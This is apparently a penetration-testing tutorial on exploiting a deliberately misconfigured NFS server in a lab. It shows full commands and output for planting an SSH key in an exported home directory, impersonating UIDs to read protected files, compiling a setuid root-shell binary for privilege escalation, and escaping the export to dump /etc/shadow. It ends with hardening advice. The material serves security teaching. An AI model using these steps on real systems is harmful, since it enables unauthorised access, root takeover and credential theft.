Network File System (NFS) is a distributed filesystem that dates back to 1984. Several versions of NFS have been developed, with the most recent being NFSv4, which itself dates from the year 2000.
By default, NFS has many security weaknesses. It does not encrypt traffic and it lacks modern authentication methods, although Kerberos can be used to implement authentication and transport encryption.
This article will be looking at performing a penetration test of NFS file shares.
Configuring NFS
First, we will configure a server to test. I’m using Ubuntu server 24.04.
Install the nfs-kernel-server package, and start the service.
user@fileshare:~$ sudo apt install nfs-kernel-server
user@fileshare:~$ sudo systemctl start nfs-kernel-server
user@fileshare:~$ sudo systemctl enable nfs-kernel-server
Add a configuration into /etc/exports.
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/user *(rw,sync,no_subtree_check,no_root_squash)
Based on the configuration added, there are three vulnerabilities we will be looking at exploiting.
- Exporting home directories
- Root squashing is disabled
- Subtree checking is disabled
Exploiting Writeable Home Directories
Use the showmount command to view exported shares. We can see a users home directory is exported.
┌──(kali㉿kali)-[~]
└─$ showmount -e 192.168.1.134
Export list for 192.168.1.134:
/home/user *
The NFS share can then be accessed using the mount command. We can see there is a .ssh directory within the mounted share.
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.1.134:/home/user /tmp/nfs_mount
[sudo] password for kali:
┌──(kali㉿kali)-[/tmp]
└─$ ls -la /tmp/nfs_mount
total 36
drwxr-x--- 4 kali kali 4096 Jan 6 16:54 .
drwxrwxrwt 13 root root 340 Jan 6 17:00 ..
-rw------- 1 kali kali 47 Jan 6 14:50 .bash_history
-rw-r--r-- 1 kali kali 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 kali kali 3771 Mar 31 2024 .bashrc
drwx------ 2 kali kali 4096 Jan 6 14:43 .cache
-rw-r--r-- 1 kali kali 807 Mar 31 2024 .profile
-rw-rw-r-- 1 kali kali 5 Jan 6 16:37 README.txt
drwx------ 2 kali kali 4096 Jan 6 14:23 .ssh
-rw-r--r-- 1 kali kali 0 Jan 6 14:43 .sudo_as_admin_successful
-rw------- 1 kali kali 736 Jan 6 16:37 .viminfo
On the attacker system, generate an SSH public/private key pair.
┌──(kali㉿kali)-[/tmp]
└─$ ssh-keygen -f bordergate
Generating public/private ed25519 key pair.
Enter passphrase for "bordergate" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bordergate
Your public key has been saved in bordergate.pub
The key fingerprint is:
SHA256:rVo1MyiWg5PujrB4sMbQ2FZ0KXBUGgkAUjOO6Wtp48Y kali@kali
The key's randomart image is:
+--[ED25519 256]--+
|=o*++o.. |
|.+ ++oo |
|o ...o |
|. .o . o |
| = .+ = S * |
|+ *. o o o + |
|=X . o |
|*Eoo o |
|=o..o . |
+----[SHA256]-----+
┌──(kali㉿kali)-[/tmp]
└─$ cat bordergate
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC7jrFQtHxuLLAwmYwCe3C2dRYH2V4K+cXsVd0QkZY5ngAAAJD7amR/+2pk
fwAAAAtzc2gtZWQyNTUxOQAAACC7jrFQtHxuLLAwmYwCe3C2dRYH2V4K+cXsVd0QkZY5ng
AAAEAbzl6ZQXuHrcS2Z0NkiMt9LHt5jLssHlKsbHipN9G9wLuOsVC0fG4ssDCZjAJ7cLZ1
FgfZXgr5xexV3RCRljmeAAAACWthbGlAa2FsaQECAwQ=
-----END OPENSSH PRIVATE KEY-----
┌──(kali㉿kali)-[/tmp]
└─$ cat bordergate.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILuOsVC0fG4ssDCZjAJ7cLZ1FgfZXgr5xexV3RCRljme kali@kali
Inject the key into the shares .ssh/authorized_keys file.
┌──(kali㉿kali)-[/tmp]
└─$ cat bordergate.pub >> nfs_mount/.ssh/authorized_keys
┌──(kali㉿kali)-[/tmp]
└─$ cat nfs_mount/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILuOsVC0fG4ssDCZjAJ7cLZ1FgfZXgr5xexV3RCRljme kali@kali
You can then use the private key to login to the server.
┌──(kali㉿kali)-[/tmp]
└─$ ssh -i bordergate user@192.168.1.134
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jan 6 10:05:40 PM GMT 2026
System load: 0.0 Processes: 131
Usage of /: 10.8% of 24.44GB Users logged in: 1
Memory usage: 14% IPv4 address for enp0s3: 192.168.1.134
Swap usage: 0%
Bypassing Filesystem Permissions
Bypassing filesystem permissions on exported shares is trivial. Files will be owned by the UID values on the host system.
For instance, we can see that the SECRET.txt file is owned by UID 1001.
┌──(kali㉿kali)-[/tmp/nfs_mount]
└─$ ll
total 24
-rw-rw-r-- 1 kali kali 5 Jan 6 21:37 README.txt
-rwsrwsr-x 1 root kali 16064 Jan 6 22:09 root_shell
-r-------- 1 1001 1001 7 Jan 9 17:21 SECRET.txt
┌──(kali㉿kali)-[/tmp/nfs_mount]
└─$ cat SECRET.txt
cat: SECRET.txt: Permission denied
As such, we can’t access the files. But if we create a user with the same UID (1001) locally and and impersonate that user we can then read the contents of the SECRET.txt file.
┌──(kali㉿kali)-[/tmp/nfs_mount]
└─$ sudo useradd -u 1001 bordergate
┌──(kali㉿kali)-[/tmp]
└─$ sudo bash
┌──(root㉿kali)-[/tmp]
└─# su bordergate
bordergate@kali:/tmp$ cd nfs_mount/
bordergate@kali:/tmp/nfs_mount$ ls
README.txt root_shell SECRET.txt
bordergate@kali:/tmp/nfs_mount$ cat SECRET.txt
SECRET
Exploiting no_root_squash
The no_root_squash option allows root users on the client machine to have root privileges on the server’s file system. This is a massive security risk, since a client can upload a setuid root binary to escalate privileges on the target system.
To exploit this condition, create a setuid C application with the following code.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile using gcc, ensure it’s owned by root and add the setuid flag.
┌──(kali㉿kali)-[~]
└─$ gcc root_shell.c -o root_shell
┌──(root㉿kali)-[/home/kali]
└─# chown root root_shell
┌──(root㉿kali)-[/home/kali]
└─# chmod +s root_shell
┌──(root㉿kali)-[/home/kali]
└─# ll root_shell
-rwsrwsr-x 1 root kali 16064 Jan 6 16:31 root_shell
Copy the file to the NFS share ensuring the permissions are correct.
┌──(kali㉿kali)-[/tmp]
└─$ ll nfs_mount
total 20
-rw-rw-r-- 1 kali kali 5 Jan 6 21:37 README.txt
-rwsrwsr-x 1 root kali 16064 Jan 6 22:09 root_shell
Connecting into the target system as a user and running the executable provides root access.
user@fileshare:~$ ls
README.txt root_shell
user@fileshare:~$ ./root_shell
root@fileshare:~# id
uid=0(root) gid=0(root) groups=0(root),27(sudo),1000(user)
root@fileshare:~#
Exploiting no_subtree_check
The no_subtree_check option in NFS disables the check that the NFS server performs to verify whether a file or directory requested by the client actually resides within the exported directory or one of its subdirectories. While this can improve performance by avoiding redundant checks, it can also introduce security risks by making it easier for an attacker to manipulate or access files outside the intended directory structure.
The following tools can be used to exploit this condition.
https://github.com/hvs-consulting/nfs-security-tooling
The tool can be installed on Kali Linux using the following commands.
sudo apt install pkg-config libfuse3-dev python3-dev
┌──(kali㉿kali)-[~]
└─$ pipx install git+https://github.com/hvs-consulting/nfs-security-tooling.git
installed package nfs_security_tooling 0.1, installed using Python 3.13.9
These apps are now globally available
- fuse_nfs
- nfs_analyze
done!
Running the nfs_analyze application against the target server shows it is able to successfully access the systems /etc/shadow file due to the no_subtree_check directive being in place.
┌──(kali㉿kali)-[~]
└─$ nfs_analyze 192.168.1.134
Checking host 192.168.1.134
Supported protocol versions reported by portmap:
Protocol Versions
portmap 2, 3, 4
status monitor 2 1
mountd 1, 2, 3
nfs 3, 4
nfs acl 3
nfs lock manager 1, 3, 4
Available Exports reported by mountd:
Directory Allowed clients Auth methods Export file handle
/home/user *(wildcard) sys 0100070065ac0a000000000019548b48d914438cbec47a14f9b26726
Connected clients reported by mountd:
Client Export
192.168.1.253(up) /home/user
Supported NFS versions reported by nfsd:
Version Supported
3 Yes
4.0 Yes
4.1 Yes
4.2 Yes
NFSv3 Windows File Handle Signing: OK, server probably not Windows, File Handle not 32 bytes long
Trying to escape exports
Export: /home/user: file system type ext/xfs, parent: None, 655361
Escape successful, root directory listing:
root var tmp etc srv bin . mnt .. usr opt sbin.usr-is-merged snap lib64 bin.usr-is-merged lib media home lost+found proc sbin lib.usr-is-merged sys boot cdrom run dev
Root file handle: 0100070265ac0a000000000019548b48d914438cbec47a14f9b2672602000000000000000200000000000000
GID of shadow group: 42
Content of /etc/shadow:
root:*:20305:0:99999:7:::
daemon:*:20305:0:99999:7:::
bin:*:20305:0:99999:7:::
sys:*:20305:0:99999:7:::
sync:*:20305:0:99999:7:::
games:*:20305:0:99999:7:::
man:*:20305:0:99999:7:::
lp:*:20305:0:99999:7:::
mail:*:20305:0:99999:7:::
news:*:20305:0:99999:7:::
uucp:*:20305:0:99999:7:::
proxy:*:20305:0:99999:7:::
www-data:*:20305:0:99999:7:::
backup:*:20305:0:99999:7:::
list:*:20305:0:99999:7:::
irc:*:20305:0:99999:7:::
_apt:*:20305:0:99999:7:::
nobody:*:20305:0:99999:7:::
systemd-network:!*:20305::::::
systemd-timesync:!*:20305::::::
dhcpcd:!:20305::::::
messagebus:!:20305::::::
systemd-resolve:!*:20305::::::
pollinate:!:20305::::::
polkitd:!*:20305::::::
syslog:!:20305::::::
uuidd:!:20305::::::
tcpdump:!:20305::::::
tss:!:20305::::::
landscape:!:20305::::::
fwupd-refresh:!*:20305::::::
usbmux:!:20459::::::
user:$6$oRbD8eCOhQDTTOcF$zVs/eXZdwr8ZjLNefYgrzkm/vbJQineaKxunEBqiQMzHZeuOIjQaIfFGXv1fLfhXSizWKRFDWBtIc6lSUDe450:20459:0:99999:7:::
sshd:!:20459::::::
_rpc:!:20459::::::
statd:!:20459::::::
NFSv4 overview and auth methods (incomplete)
home: pseudo
user: sys
.cache: sys
.ssh: sys
NFSv4 guessed exports (Linux only, may differ from /etc/exports):
Directory Auth methods Export file handle
/home/user sys 0100070065ac0a000000000019548b48d914438cbec47a14f9b26726
Trying to guess server OS
OS Property Fulfilled
Linux File Handles start with 0x0100 Yes
Windows NFSv3 File handles are 32 bytes long No
Windows Only NFS versions 3 and 4.1 supported No
FreeBSD Mountd reports subnets without mask Unknown
NetApp netapp partner protocol supported No
HP-UX Only one request per TCP connection possible No
Final OS guess: Linux
In Conclusion
Kerberos can be configured to provide authentication and transport layer encryption. A description of how to do this is listed in the Ubuntu NFS documentation.
https://documentation.ubuntu.com/server/how-to/networking/install-nfs/
In addition to implementing Kerberos, consider using the following NFS share mount options to further improve security.
- noexec: Prevents the execution of binaries on the NFS mount
- nosuid: Prevents setting user IDs on mounted files
- nodev: Prevents device files from being interpreted on the mount